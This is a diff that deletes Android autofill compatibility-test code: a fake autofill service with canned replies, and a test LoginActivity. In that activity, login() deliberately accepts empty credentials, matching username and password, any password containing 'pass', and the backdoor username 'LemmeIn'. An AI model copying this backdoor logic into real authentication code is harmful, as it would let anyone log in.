-     * expected size.
-     */
-    public static List<Event> getFillEvents(int expectedSize) throws Exception {
-        final List<Event> events = getFillEventHistory(expectedSize).getEvents();
-        // Validation check
-        if (expectedSize > 0 && events == null || events.size() != expectedSize) {
-            throw new IllegalStateException("INTERNAL ERROR: events should have " + expectedSize
-                    + ", but it is: " + events);
-        }
-        return events;
-    }
-
-    /**
-     * Gets the {@link FillEventHistory}, waiting until it has the expected size.
-     */
-    public static FillEventHistory getFillEventHistory(int expectedSize) throws Exception {
-        final InstrumentedAutoFillService service = peekInstance();
-
-        if (expectedSize == 0) {
-            // Need to always sleep as there is no condition / callback to be used to wait until
-            // expected number of events is set.
-            SystemClock.sleep(FILL_EVENTS_TIMEOUT.ms());
-            final FillEventHistory history = service.getFillEventHistory();
-            assertThat(history.getEvents()).isNull();
-            return history;
-        }
-
-        return FILL_EVENTS_TIMEOUT.run("getFillEvents(" + expectedSize + ")", () -> {
-            final FillEventHistory history = service.getFillEventHistory();
-            if (history == null) {
-                return null;
-            }
-            final List<Event> events = history.getEvents();
-            if (events != null) {
-                if (events.size() != expectedSize) {
-                    Log.v(TAG, "Didn't get " + expectedSize + " events yet: " + events);
-                    return null;
-                }
-            } else {
-                Log.v(TAG, "Events is still null (expecting " + expectedSize + ")");
-                return null;
-            }
-            return history;
-        });
-    }
-
-    /**
-     * Asserts there is no {@link FillEventHistory}.
-     */
-    public static void assertNoFillEventHistory() {
-        // Need to always sleep as there is no condition / callback to be used to wait until
-        // expected number of events is set.
-        SystemClock.sleep(FILL_EVENTS_TIMEOUT.ms());
-        assertThat(peekInstance().getFillEventHistory()).isNull();
-
-    }
-
-    /**
-     * Gets the service label associated with the current instance.
-     */
-    public static String getServiceLabel() {
-        return sServiceLabel;
-    }
-
-    private void handleConnected(boolean connected) {
-        Log.v(TAG, "handleConnected(): from " + sConnected.get() + " to " + connected);
-        sConnected.set(connected);
-    }
-
-    @Override
-    public void onConnected() {
-        Log.v(TAG, "onConnected");
-        if (mConnected && FAIL_ON_INVALID_CONNECTION_STATE) {
-            dumpSelf();
-            sReplier.addException(new IllegalStateException("onConnected() called again"));
-        }
-        mConnected = true;
-        mHandler.post(() -> handleConnected(true));
-    }
-
-    @Override
-    public void onDisconnected() {
-        Log.v(TAG, "onDisconnected");
-        if (!mConnected && FAIL_ON_INVALID_CONNECTION_STATE) {
-            dumpSelf();
-            sReplier.addException(
-                    new IllegalStateException("onDisconnected() called when disconnected"));
-        }
-        mConnected = false;
-        mHandler.post(() -> handleConnected(false));
-    }
-
-    @Override
-    public void onFillRequest(android.service.autofill.FillRequest request,
-            CancellationSignal cancellationSignal, FillCallback callback) {
-        final ComponentName component = getLastActivityComponent(request.getFillContexts());
-        if (DUMP_FILL_REQUESTS) {
-            dumpStructure("onFillRequest()", request.getFillContexts());
-        } else {
-            Log.i(TAG, "onFillRequest() for " + component.toShortString());
-        }
-        if (!mConnected && FAIL_ON_INVALID_CONNECTION_STATE) {
-            dumpSelf();
-            sReplier.addException(
-                    new IllegalStateException("onFillRequest() called when disconnected"));
-        }
-
-        if (!TestNameUtils.isRunningTest()) {
-            Log.e(TAG, "onFillRequest(" + component + ") called after tests finished");
-            return;
-        }
-        if (!fromSamePackage(component))  {
-            Log.w(TAG, "Ignoring onFillRequest() from different package: " + component);
-            return;
-        }
-        mHandler.post(
-                () -> sReplier.onFillRequest(request.getFillContexts(), request.getClientState(),
-                        cancellationSignal, callback, request.getFlags(),
-                        request.getInlineSuggestionsRequest(), request.getId()));
-    }
-
-    @Override
-    public void onSaveRequest(android.service.autofill.SaveRequest request,
-            SaveCallback callback) {
-        if (!mConnected && FAIL_ON_INVALID_CONNECTION_STATE) {
-            dumpSelf();
-            sReplier.addException(
-                    new IllegalStateException("onSaveRequest() called when disconnected"));
-        }
-        mHandler.post(()->handleSaveRequest(request, callback));
-    }
-
-    private void handleSaveRequest(android.service.autofill.SaveRequest request,
-            SaveCallback callback) {
-        final ComponentName component = getLastActivityComponent(request.getFillContexts());
-        if (!TestNameUtils.isRunningTest()) {
-            Log.e(TAG, "onSaveRequest(" + component + ") called after tests finished");
-            return;
-        }
-        if (!fromSamePackage(component)) {
-            Log.w(TAG, "Ignoring onSaveRequest() from different package: " + component);
-            return;
-        }
-        if (DUMP_SAVE_REQUESTS) {
-            dumpStructure("onSaveRequest()", request.getFillContexts());
-        } else {
-            Log.i(TAG, "onSaveRequest() for " + component.toShortString());
-        }
-        mHandler.post(() -> sReplier.onSaveRequest(request.getFillContexts(),
-                request.getClientState(), callback,
-                request.getDatasetIds()));
-    }
-
-    public static boolean isConnected() {
-        return sConnected.get();
-    }
-
-    private boolean fromSamePackage(ComponentName component) {
-        final String actualPackage = component.getPackageName();
-        if (!actualPackage.equals(getPackageName())
-                && !actualPackage.equals(sReplier.mAcceptedPackageName)) {
-            Log.w(TAG, "Got request from package " + actualPackage);
-            return false;
-        }
-        return true;
-    }
-
-    private ComponentName getLastActivityComponent(List<FillContext> contexts) {
-        return contexts.get(contexts.size() - 1).getStructure().getActivityComponent();
-    }
-
-    private void dumpSelf()  {
-        try {
-            try (StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw)) {
-                dump(null, pw, null);
-                pw.flush();
-                final String dump = sw.toString();
-                Log.e(TAG, "dumpSelf(): " + dump);
-            }
-        } catch (IOException e) {
-            Log.e(TAG, "I don't always fail to dump, but when I do, I dump the failure", e);
-        }
-    }
-
-    @Override
-    protected void dump(FileDescriptor fd, PrintWriter pw, String[] args) {
-        pw.print("sConnected: "); pw.println(sConnected);
-        pw.print("mConnected: "); pw.println(mConnected);
-        pw.print("sInstance: "); pw.println(sInstance);
-        pw.println("sReplier: "); sReplier.dump(pw);
-    }
-
-    /**
-     * Waits until {@link #onConnected()} is called, or fails if it times out.
-     *
-     * <p>This method is useful on tests that explicitly verifies the connection, but should be
-     * avoided in other tests, as it adds extra time to the test execution (and flakiness in cases
-     * where the service might have being disconnected already; for example, if the fill request
-     * was replied with a {@code null} response) - if a text needs to block until the service
-     * receives a callback, it should use {@link Replier#getNextFillRequest()} instead.
-     */
-    public static void waitUntilConnected() throws Exception {
-        waitConnectionState(CONNECTION_TIMEOUT, true);
-    }
-
-    /**
-     * Waits until {@link #onDisconnected()} is called, or fails if it times out.
-     *
-     * <p>This method is useful on tests that explicitly verifies the connection, but should be
-     * avoided in other tests, as it adds extra time to the test execution.
-     */
-    public static void waitUntilDisconnected() throws Exception {
-        waitConnectionState(IDLE_UNBIND_TIMEOUT, false);
-    }
-
-    private static void waitConnectionState(Timeout timeout, boolean expected) throws Exception {
-        timeout.run("wait for connected=" + expected,  () -> {
-            return isConnected() == expected ? Boolean.TRUE : null;
-        });
-    }
-
-    /**
-     * Gets the {@link Replier} singleton.
-     */
-    static Replier getReplier() {
-        return sReplier;
-    }
-
-    static void resetStaticState() {
-        sInstance.set(null);
-        sConnected.set(false);
-        sServiceLabel = SERVICE_CLASS;
-    }
-
-    /**
-     * POJO representation of the contents of a
-     * {@link AutofillService#onFillRequest(android.service.autofill.FillRequest,
-     * CancellationSignal, FillCallback)} that can be asserted at the end of a test case.
-     */
-    public static final class FillRequest {
-        public final AssistStructure structure;
-        public final List<FillContext> contexts;
-        public final Bundle data;
-        public final CancellationSignal cancellationSignal;
-        public final FillCallback callback;
-        public final int flags;
-        public final InlineSuggestionsRequest inlineRequest;
-
-        private FillRequest(List<FillContext> contexts, Bundle data,
-                CancellationSignal cancellationSignal, FillCallback callback, int flags,
-                InlineSuggestionsRequest inlineRequest) {
-            this.contexts = contexts;
-            this.data = data;
-            this.cancellationSignal = cancellationSignal;
-            this.callback = callback;
-            this.flags = flags;
-            this.structure = contexts.get(contexts.size() - 1).getStructure();
-            this.inlineRequest = inlineRequest;
-        }
-
-        @Override
-        public String toString() {
-            return "FillRequest[activity=" + getActivityName(contexts) + ", flags=" + flags
-                    + ", bundle=" + data + ", structure=" + Helper.toString(structure) + "]";
-        }
-    }
-
-    /**
-     * POJO representation of the contents of a
-     * {@link AutofillService#onSaveRequest(android.service.autofill.SaveRequest, SaveCallback)}
-     * that can be asserted at the end of a test case.
-     */
-    public static final class SaveRequest {
-        public final List<FillContext> contexts;
-        public final AssistStructure structure;
-        public final Bundle data;
-        public final SaveCallback callback;
-        public final List<String> datasetIds;
-
-        private SaveRequest(List<FillContext> contexts, Bundle data, SaveCallback callback,
-                List<String> datasetIds) {
-            if (contexts != null && contexts.size() > 0) {
-                structure = contexts.get(contexts.size() - 1).getStructure();
-            } else {
-                structure = null;
-            }
-            this.contexts = contexts;
-            this.data = data;
-            this.callback = callback;
-            this.datasetIds = datasetIds;
-        }
-
-        @Override
-        public String toString() {
-            return "SaveRequest:" + getActivityName(contexts);
-        }
-    }
-
-    /**
-     * Object used to answer a
-     * {@link AutofillService#onFillRequest(android.service.autofill.FillRequest,
-     * CancellationSignal, FillCallback)}
-     * on behalf of a unit test method.
-     */
-    public static final class Replier {
-
-        private final BlockingQueue<CannedFillResponse> mResponses = new LinkedBlockingQueue<>();
-        private final BlockingQueue<FillRequest> mFillRequests = new LinkedBlockingQueue<>();
-        private final BlockingQueue<SaveRequest> mSaveRequests = new LinkedBlockingQueue<>();
-
-        private List<Throwable> mExceptions;
-        private IntentSender mOnSaveIntentSender;
-        private String mAcceptedPackageName;
-
-        private Handler mHandler;
-
-        private boolean mReportUnhandledFillRequest = true;
-        private boolean mReportUnhandledSaveRequest = true;
-
-        private Replier() {
-        }
-
-        private IdMode mIdMode = IdMode.RESOURCE_ID;
-
-        public void setIdMode(IdMode mode) {
-            this.mIdMode = mode;
-        }
-
-        public void acceptRequestsFromPackage(String packageName) {
-            mAcceptedPackageName = packageName;
-        }
-
-        /**
-         * Gets the exceptions thrown asynchronously, if any.
-         */
-        @Nullable
-        public List<Throwable> getExceptions() {
-            return mExceptions;
-        }
-
-        private void addException(@Nullable Throwable e) {
-            if (e == null) return;
-
-            if (mExceptions == null) {
-                mExceptions = new ArrayList<>();
-            }
-            mExceptions.add(e);
-        }
-
-        /**
-         * Sets the expectation for the next {@code onFillRequest} as {@link FillResponse} with just
-         * one {@link Dataset}.
-         */
-        public Replier addResponse(CannedDataset dataset) {
-            return addResponse(new CannedFillResponse.Builder()
-                    .addDataset(dataset)
-                    .build());
-        }
-
-        /**
-         * Sets the expectation for the next {@code onFillRequest}.
-         */
-        public Replier addResponse(CannedFillResponse response) {
-            if (response == null) {
-                throw new IllegalArgumentException("Cannot be null - use NO_RESPONSE instead");
-            }
-            mResponses.add(response);
-            return this;
-        }
-
-        /**
-         * Sets the {@link IntentSender} that is passed to
-         * {@link SaveCallback#onSuccess(IntentSender)}.
-         */
-        public Replier setOnSave(IntentSender intentSender) {
-            mOnSaveIntentSender = intentSender;
-            return this;
-        }
-
-        /**
-         * Gets the next fill request, in the order received.
-         */
-        public FillRequest getNextFillRequest() {
-            FillRequest request;
-            try {
-                request = mFillRequests.poll(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                Thread.currentThread().interrupt();
-                throw new IllegalStateException("Interrupted", e);
-            }
-            if (request == null) {
-                throw new RetryableException(FILL_TIMEOUT, "onFillRequest() not called");
-            }
-            return request;
-        }
-
-        /**
-         * Asserts that {@link #onFillRequest(List, Bundle, CancellationSignal, FillCallback, int)}
-         * was not called.
-         *
-         * <p>Should only be called in cases where it's not expected to be called, as it will
-         * sleep for a few ms.
-         */
-        public void assertOnFillRequestNotCalled() {
-            SystemClock.sleep(FILL_TIMEOUT.getMaxValue());
-            assertThat(mFillRequests).isEmpty();
-        }
-
-        /**
-         * Asserts all {@link AutofillService#onFillRequest(
-         * android.service.autofill.FillRequest,  CancellationSignal, FillCallback) fill requests}
-         * received by the service were properly {@link #getNextFillRequest() handled} by the test
-         * case.
-         */
-        public void assertNoUnhandledFillRequests() {
-            if (mFillRequests.isEmpty()) return; // Good job, test case!
-
-            if (!mReportUnhandledFillRequest) {
-                // Just log, so it's not thrown again on @After if already thrown on main body
-                Log.d(TAG, "assertNoUnhandledFillRequests(): already reported, "
-                        + "but logging just in case: " + mFillRequests);
-                return;
-            }
-
-            mReportUnhandledFillRequest = false;
-            throw new AssertionError(mFillRequests.size() + " unhandled fill requests: "
-                    + mFillRequests);
-        }
-
-        /**
-         * Gets the current number of unhandled requests.
-         */
-        public int getNumberUnhandledFillRequests() {
-            return mFillRequests.size();
-        }
-
-        /**
-         * Gets the next save request, in the order received.
-         *
-         * <p>Typically called at the end of a test case, to assert the initial request.
-         */
-        public SaveRequest getNextSaveRequest() {
-            SaveRequest request;
-            try {
-                request = mSaveRequests.poll(SAVE_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                Thread.currentThread().interrupt();
-                throw new IllegalStateException("Interrupted", e);
-            }
-            if (request == null) {
-                throw new RetryableException(SAVE_TIMEOUT, "onSaveRequest() not called");
-            }
-            return request;
-        }
-
-        /**
-         * Asserts all
-         * {@link AutofillService#onSaveRequest(android.service.autofill.SaveRequest, SaveCallback)
-         * save requests} received by the service were properly
-         * {@link #getNextFillRequest() handled} by the test case.
-         */
-        public void assertNoUnhandledSaveRequests() {
-            if (mSaveRequests.isEmpty()) return; // Good job, test case!
-
-            if (!mReportUnhandledSaveRequest) {
-                // Just log, so it's not thrown again on @After if already thrown on main body
-                Log.d(TAG, "assertNoUnhandledSaveRequests(): already reported, "
-                        + "but logging just in case: " + mSaveRequests);
-                return;
-            }
-
-            mReportUnhandledSaveRequest = false;
-            throw new AssertionError(mSaveRequests.size() + " unhandled save requests: "
-                    + mSaveRequests);
-        }
-
-        public void setHandler(Handler handler) {
-            mHandler = handler;
-        }
-
-        /**
-         * Resets its internal state.
-         */
-        public void reset() {
-            mResponses.clear();
-            mFillRequests.clear();
-            mSaveRequests.clear();
-            mExceptions = null;
-            mOnSaveIntentSender = null;
-            mAcceptedPackageName = null;
-            mReportUnhandledFillRequest = true;
-            mReportUnhandledSaveRequest = true;
-        }
-
-        private void onFillRequest(List<FillContext> contexts, Bundle data,
-                CancellationSignal cancellationSignal, FillCallback callback, int flags,
-                InlineSuggestionsRequest inlineRequest, int requestId) {
-            try {
-                CannedFillResponse response = null;
-                try {
-                    response = mResponses.poll(CONNECTION_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-                } catch (InterruptedException e) {
-                    Log.w(TAG, "Interrupted getting CannedResponse: " + e);
-                    Thread.currentThread().interrupt();
-                    addException(e);
-                    return;
-                }
-                if (response == null) {
-                    final String activityName = getActivityName(contexts);
-                    final String msg = "onFillRequest() for activity " + activityName
-                            + " received when no canned response was set.";
-                    dumpStructure(msg, contexts);
-                    return;
-                }
-                if (response.getResponseType() == NULL) {
-                    Log.d(TAG, "onFillRequest(): replying with null");
-                    callback.onSuccess(null);
-                    return;
-                }
-
-                if (response.getResponseType() == TIMEOUT) {
-                    Log.d(TAG, "onFillRequest(): not replying at all");
-                    return;
-                }
-
-                if (response.getResponseType() == FAILURE) {
-                    Log.d(TAG, "onFillRequest(): replying with failure");
-                    callback.onFailure("D'OH!");
-                    return;
-                }
-
-                if (response.getResponseType() == ResponseType.NO_MORE) {
-                    Log.w(TAG, "onFillRequest(): replying with null when not expecting more");
-                    addException(new IllegalStateException("got unexpected request"));
-                    callback.onSuccess(null);
-                    return;
-                }
-
-                final String failureMessage = response.getFailureMessage();
-                if (failureMessage != null) {
-                    Log.v(TAG, "onFillRequest(): failureMessage = " + failureMessage);
-                    callback.onFailure(failureMessage);
-                    return;
-                }
-
-                final FillResponse fillResponse;
-
-                switch (mIdMode) {
-                    case RESOURCE_ID:
-                        fillResponse = response.asFillResponse(contexts,
-                                (id) -> Helper.findNodeByResourceId(contexts, id));
-                        break;
-                    case HTML_NAME:
-                        fillResponse = response.asFillResponse(contexts,
-                                (name) -> Helper.findNodeByHtmlName(contexts, name));
-                        break;
-                    case HTML_NAME_OR_RESOURCE_ID:
-                        fillResponse = response.asFillResponse(contexts,
-                                (id) -> Helper.findNodeByHtmlNameOrResourceId(contexts, id));
-                        break;
-                    default:
-                        throw new IllegalStateException("Unknown id mode: " + mIdMode);
-                }
-
-                if (response.getResponseType() == ResponseType.DELAY) {
-                    mHandler.postDelayed(() -> {
-                        Log.v(TAG,
-                                "onFillRequest(" + requestId + "): fillResponse = " + fillResponse);
-                        callback.onSuccess(fillResponse);
-                        // Add a fill request to let test case know response was sent.
-                        Helper.offer(mFillRequests,
-                                new FillRequest(contexts, data, cancellationSignal, callback,
-                                        flags, inlineRequest), CONNECTION_TIMEOUT.ms());
-                    }, RESPONSE_DELAY_MS);
-                } else {
-                    Log.v(TAG, "onFillRequest(" + requestId + "): fillResponse = " + fillResponse);
-                    callback.onSuccess(fillResponse);
-                }
-            } catch (Throwable t) {
-                addException(t);
-            } finally {
-                Helper.offer(mFillRequests, new FillRequest(contexts, data, cancellationSignal,
-                        callback, flags, inlineRequest), CONNECTION_TIMEOUT.ms());
-            }
-        }
-
-        private void onSaveRequest(List<FillContext> contexts, Bundle data, SaveCallback callback,
-                List<String> datasetIds) {
-            Log.d(TAG, "onSaveRequest(): sender=" + mOnSaveIntentSender);
-
-            try {
-                if (mOnSaveIntentSender != null) {
-                    callback.onSuccess(mOnSaveIntentSender);
-                } else {
-                    callback.onSuccess();
-                }
-            } finally {
-                Helper.offer(mSaveRequests, new SaveRequest(contexts, data, callback, datasetIds),
-                        CONNECTION_TIMEOUT.ms());
-            }
-        }
-
-        private void dump(PrintWriter pw) {
-            pw.print("mResponses: "); pw.println(mResponses);
-            pw.print("mFillRequests: "); pw.println(mFillRequests);
-            pw.print("mSaveRequests: "); pw.println(mSaveRequests);
-            pw.print("mExceptions: "); pw.println(mExceptions);
-            pw.print("mOnSaveIntentSender: "); pw.println(mOnSaveIntentSender);
-            pw.print("mAcceptedPackageName: "); pw.println(mAcceptedPackageName);
-            pw.print("mAcceptedPackageName: "); pw.println(mAcceptedPackageName);
-            pw.print("mReportUnhandledFillRequest: "); pw.println(mReportUnhandledSaveRequest);
-            pw.print("mIdMode: "); pw.println(mIdMode);
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillServiceCompatMode.java b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillServiceCompatMode.java
deleted file mode 100644
index b1c2a45..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillServiceCompatMode.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-import android.service.autofill.AutofillService;
-
-/**
- * Implementation of {@link AutofillService} using A11Y compat mode used in the tests.
- */
-public class InstrumentedAutoFillServiceCompatMode extends InstrumentedAutoFillService {
-
-    @SuppressWarnings("hiding")
-    static final String SERVICE_PACKAGE = "android.autofillservice.cts";
-    @SuppressWarnings("hiding")
-    static final String SERVICE_CLASS = "InstrumentedAutoFillServiceCompatMode";
-    @SuppressWarnings("hiding")
-    static final String SERVICE_NAME = SERVICE_PACKAGE + "/." + SERVICE_CLASS;
-
-    public InstrumentedAutoFillServiceCompatMode() {
-        sInstance.set(this);
-        sServiceLabel = SERVICE_CLASS;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
deleted file mode 100644
index c7c5070..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
+++ /dev/null
@@ -1,379 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.content.Context;
-import android.content.Intent;
-import android.os.Bundle;
-import android.text.TextUtils;
-import android.util.Log;
-import android.view.View;
-import android.view.View.OnClickListener;
-import android.view.ViewGroup;
-import android.view.inputmethod.InputMethodManager;
-import android.widget.Button;
-import android.widget.EditText;
-import android.widget.LinearLayout;
-import android.widget.TextView;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Activity that has the following fields:
- *
- * <ul>
- *   <li>Username EditText (id: username, no input-type)
- *   <li>Password EditText (id: "username", input-type textPassword)
- *   <li>Clear Button
- *   <li>Save Button
- *   <li>Login Button
- * </ul>
- */
-public class LoginActivity extends AbstractAutoFillActivity {
-
-    private static final String TAG = "LoginActivity";
-    private static String WELCOME_TEMPLATE = "Welcome to the new activity, %s!";
-    private static final long LOGIN_TIMEOUT_MS = 1000;
-
-    public static final String ID_USERNAME_CONTAINER = "username_container";
-    public static final String AUTHENTICATION_MESSAGE = "Authentication failed. D'OH!";
-    public static final String BACKDOOR_USERNAME = "LemmeIn";
-    public static final String BACKDOOR_PASSWORD_SUBSTRING = "pass";
-
-    private static LoginActivity sCurrentActivity;
-
-    private LinearLayout mUsernameContainer;
-    private TextView mUsernameLabel;
-    private EditText mUsernameEditText;
-    private TextView mPasswordLabel;
-    private EditText mPasswordEditText;
-    private TextView mOutput;
-    private Button mLoginButton;
-    private Button mSaveButton;
-    private Button mCancelButton;
-    private Button mClearButton;
-    private FillExpectation mExpectation;
-
-    // State used to synchronously get the result of a login attempt.
-    private CountDownLatch mLoginLatch;
-    private String mLoginMessage;
-
-    /**
-     * Gets the expected welcome message for a given username.
-     */
-    public static String getWelcomeMessage(String username) {
-        return String.format(WELCOME_TEMPLATE,  username);
-    }
-
-    /**
-     * Gests the latest instance.
-     *
-     * <p>Typically used in test cases that rotates the activity
-     */
-    @SuppressWarnings("unchecked") // Its up to caller to make sure it's setting the right one
-    public static <T extends LoginActivity> T getCurrentActivity() {
-        return (T) sCurrentActivity;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(getContentView());
-
-        mUsernameContainer = findViewById(R.id.username_container);
-        mLoginButton = findViewById(R.id.login);
-        mSaveButton = findViewById(R.id.save);
-        mClearButton = findViewById(R.id.clear);
-        mCancelButton = findViewById(R.id.cancel);
-        mUsernameLabel = findViewById(R.id.username_label);
-        mUsernameEditText = findViewById(R.id.username);
-        mPasswordLabel = findViewById(R.id.password_label);
-        mPasswordEditText = findViewById(R.id.password);
-        mOutput = findViewById(R.id.output);
-
-        mLoginButton.setOnClickListener((v) -> login());
-        mSaveButton.setOnClickListener((v) -> save());
-        mClearButton.setOnClickListener((v) -> {
-            mUsernameEditText.setText("");
-            mPasswordEditText.setText("");
-            mOutput.setText("");
-            getAutofillManager().cancel();
-        });
-        mCancelButton.setOnClickListener((OnClickListener) v -> finish());
-
-        sCurrentActivity = this;
-    }
-
-    protected int getContentView() {
-        return R.layout.login_activity;
-    }
-
-    /**
-     * Emulates a login action.
-     */
-    private void login() {
-        final String username = mUsernameEditText.getText().toString();
-        final String password = mPasswordEditText.getText().toString();
-        final boolean valid = username.equals(password)
-                || (TextUtils.isEmpty(username) && TextUtils.isEmpty(password))
-                || password.contains(BACKDOOR_PASSWORD_SUBSTRING)
-                || username.equals(BACKDOOR_USERNAME);
-
-        if (valid) {
-            Log.d(TAG, "login ok: " + username);
-            final Intent intent = new Intent(this, WelcomeActivity.class);
-            final String message = getWelcomeMessage(username);
-            intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, message);
-            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-            setLoginMessage(message);
-            startActivity(intent);
-            finish();
-        } else {
-            Log.d(TAG, "login failed: " + AUTHENTICATION_MESSAGE);
-            mOutput.setText(AUTHENTICATION_MESSAGE);
-            setLoginMessage(AUTHENTICATION_MESSAGE);
-        }
-    }
-
-    private void setLoginMessage(String message) {
-        Log.d(TAG, "setLoginMessage(): " + message);
-        if (mLoginLatch != null) {
-            mLoginMessage = message;
-            mLoginLatch.countDown();
-        }
-    }
-
-    /**
-     * Explicitly forces the AutofillManager to save the username and password.
-     */
-    private void save() {
-        final InputMethodManager imm = (InputMethodManager) getSystemService(
-                Context.INPUT_METHOD_SERVICE);
-        imm.hideSoftInputFromWindow(mUsernameEditText.getWindowToken(), 0);
-        getAutofillManager().commit();
-    }
-
-    /**
-     * Sets the expectation for an autofill request (for all fields), so it can be asserted through
-     * {@link #assertAutoFilled()} later.
-     */
-    public void expectAutoFill(String username, String password) {
-        mExpectation = new FillExpectation(username, password);
-        mUsernameEditText.addTextChangedListener(mExpectation.ccUsernameWatcher);
-        mPasswordEditText.addTextChangedListener(mExpectation.ccPasswordWatcher);
-    }
-
-    /**
-     * Sets the expectation for an autofill request (for username only), so it can be asserted
-     * through {@link #assertAutoFilled()} later.
-     *
-     * <p><strong>NOTE: </strong>This method checks the result of text change, it should not call
-     * this method too early, it may cause test fail. Call this method before checking autofill
-     * behavior.
-     * <pre>
-     * An example usage is:
-     * <code>
-     *  public void testAutofill() throws Exception {
-     *      // Enable service and trigger autofill
-     *      enableService();
-     *      final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
-     *                 .addDataset(new CannedFillResponse.CannedDataset.Builder()
-     *                         .setField(ID_USERNAME, "test")
-     *                         .setField(ID_PASSWORD, "tweet")
-     *                         .setPresentation(createPresentation("Second Dude"))
-     *                         .setInlinePresentation(createInlinePresentation("Second Dude"))
-     *                         .build());
-     *      sReplier.addResponse(builder.build());
-     *      mUiBot.selectByRelativeId(ID_USERNAME);
-     *      sReplier.getNextFillRequest();
-     *      // Filter suggestion
-     *      mActivity.onUsername((v) -> v.setText("t"));
-     *      mUiBot.assertDatasets("Second Dude");
-     *
-     *      // Call expectAutoFill() before checking autofill behavior
-     *      mActivity.expectAutoFill("test", "tweet");
-     *      mUiBot.selectDataset("Second Dude");
-     *      mActivity.assertAutoFilled();
-     *  }
-     * </code>
-     * </pre>
-     */
-    public void expectAutoFill(String username) {
-        mExpectation = new FillExpectation(username);
-        mUsernameEditText.addTextChangedListener(mExpectation.ccUsernameWatcher);
-    }
-
-    /**
-     * Sets the expectation for an autofill request (for password only), so it can be asserted
-     * through {@link #assertAutoFilled()} later.
-     *
-     * <p><strong>NOTE: </strong>This method checks the result of text change, it should not call
-     * this method too early, it may cause test fail. Call this method before checking autofill
-     * behavior. {@See #expectAutoFill(String)} for how it should be used.
-     */
-    public void expectPasswordAutoFill(String password) {
-        mExpectation = new FillExpectation(null, password);
-        mPasswordEditText.addTextChangedListener(mExpectation.ccPasswordWatcher);
-    }
-
-    /**
-     * Asserts the activity was auto-filled with the values passed to
-     * {@link #expectAutoFill(String, String)}.
-     */
-    public void assertAutoFilled() throws Exception {
-        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
-        if (mExpectation.ccUsernameWatcher != null) {
-            mExpectation.ccUsernameWatcher.assertAutoFilled();
-        }
-        if (mExpectation.ccPasswordWatcher != null) {
-            mExpectation.ccPasswordWatcher.assertAutoFilled();
-        }
-    }
-
-    public void forceAutofillOnUsername() {
-        syncRunOnUiThread(() -> getAutofillManager().requestAutofill(mUsernameEditText));
-    }
-
-    public void forceAutofillOnPassword() {
-        syncRunOnUiThread(() -> getAutofillManager().requestAutofill(mPasswordEditText));
-    }
-
-    /**
-     * Visits the {@code username_label} in the UiThread.
-     */
-    public void onUsernameLabel(Visitor<TextView> v) {
-        syncRunOnUiThread(() -> v.visit(mUsernameLabel));
-    }
-
-    /**
-     * Visits the {@code username} in the UiThread.
-     */
-    public void onUsername(Visitor<EditText> v) {
-        syncRunOnUiThread(() -> v.visit(mUsernameEditText));
-    }
-
-    @Override
-    public void clearFocus() {
-        syncRunOnUiThread(() -> ((View) mUsernameContainer.getParent()).requestFocus());
-    }
-
-    /**
-     * Gets the {@code username_label} view.
-     */
-    public TextView getUsernameLabel() {
-        return mUsernameLabel;
-    }
-
-    /**
-     * Gets the {@code username} view.
-     */
-    public EditText getUsername() {
-        return mUsernameEditText;
-    }
-
-    /**
-     * Visits the {@code password_label} in the UiThread.
-     */
-    public void onPasswordLabel(Visitor<TextView> v) {
-        syncRunOnUiThread(() -> v.visit(mPasswordLabel));
-    }
-
-    /**
-     * Visits the {@code password} in the UiThread.
-     */
-    public void onPassword(Visitor<EditText> v) {
-        syncRunOnUiThread(() -> v.visit(mPasswordEditText));
-    }
-
-    /**
-     * Visits the {@code login} button in the UiThread.
-     */
-    public void onLogin(Visitor<Button> v) {
-        syncRunOnUiThread(() -> v.visit(mLoginButton));
-    }
-
-    /**
-     * Gets the {@code password} view.
-     */
-    public EditText getPassword() {
-        return mPasswordEditText;
-    }
-
-    /**
-     * Taps the login button in the UI thread.
-     */
-    public String tapLogin() throws Exception {
-        mLoginLatch = new CountDownLatch(1);
-        syncRunOnUiThread(() -> mLoginButton.performClick());
-        boolean called = mLoginLatch.await(LOGIN_TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        assertWithMessage("Timeout (%s ms) waiting for login", LOGIN_TIMEOUT_MS)
-                .that(called).isTrue();
-        return mLoginMessage;
-    }
-
-    /**
